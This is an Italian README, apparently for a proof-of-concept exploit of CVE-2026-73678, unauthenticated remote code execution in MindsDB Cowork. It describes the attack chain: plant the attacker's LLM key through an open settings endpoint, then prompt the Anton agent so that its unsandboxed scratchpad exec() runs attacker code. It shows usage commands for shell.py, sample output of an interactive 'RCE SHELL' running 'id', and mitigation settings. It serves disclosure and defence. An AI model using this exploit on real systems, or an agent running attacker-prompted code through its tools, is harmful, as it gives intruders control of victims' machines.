
Exploit PoC per CVE-2026-73678: RCE non autenticata in MindsDB Cowork tramite chiave LLM fornita dall'attaccante ed esecuzione (exec) non sandboxed della scratchpad per eseguire comandi del sistema operativo.
PoC per CVE-2026-73678 (CVSS 3.1 10.0 Critico, AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H).
Analisi completa: www.hunt-benito.com/blog/bring-your-own-key-cve-2026-73678-unauthenticated-rce-in-mindsdb-cowork/
Il sidecar FastAPI cowork-server di Cowork espone /api/v1/ senza alcuna autenticazione (CWE-306), con CORS allow_origins=["*"] (CWE-942), e lo strumento scratchpad dell'agente Anton esegue Python generato da LLM tramite una exec() grezza senza sandbox (CWE-94).
Catena di attacco: inserire la chiave LLM dell'attaccante tramite PUT /api/v1/settings/* → POST /api/v1/responses/ con un prompt che fa eseguire all'agente il codice dell'attaccante sulla scratchpad → esecuzione arbitraria di comandi del sistema operativo con i privilegi dell'utente che esegue l'applicazione.
Adattato dal PoC nell'advisory di MindsDB GHSA-jcxw-h8ph-pxpv (crediti: Ho Viet Khanh / HK4zCzi).
127.0.0.1:26866)# against a local dev instance (make dev-web)
python3 shell.py AIzaSy... gemini
# explicit target + model
API=http://127.0.0.1:26866/api/v1 python3 shell.py sk-... openai gpt-4o-mini
[*] Setting provider=gemini model=gemini-2.5-flash
[*] validate: {"status": "ok", "configReady": true, ...}
=======================================================
RCE SHELL (type shell commands, 'exit' to quit)
=======================================================
$ id
uid=1000(victim) gid=1000(victim) groups=1000(victim),27(sudo)
Lo snippet generato calcola os.urandom(4).hex() all'interno del processo della vittima e lo scrive in /tmp/RCE_PROOF.txt. Il prompt dice al modello che non può conoscere il nonce senza eseguire codice. Se il testo restituito contiene un nonce corrispondente al file su disco, il codice è stato dimostrabilmente eseguito — un modello che allucina non può produrlo.
export COWORK_REQUIRE_AUTH=true # auth exists but defaults OFF
export COWORK_AUTH_TOKEN="<long-random>" # or let it auto-generate
export COWORK_ALLOWED_ORIGINS='["http://localhost:26866"]'
# never set COWORK_SERVER_HOST beyond 127.0.0.1; rotate all secrets reachable
# by the account that ran the app
Non esiste alcun tag di release corretto; le correzioni risiedono solo nei rami main di cowork-server/anton.
Solo per test di sicurezza autorizzati e attività di ricerca. Non eseguire contro sistemi che non possiedi o per i quali non hai esplicita autorizzazione al test.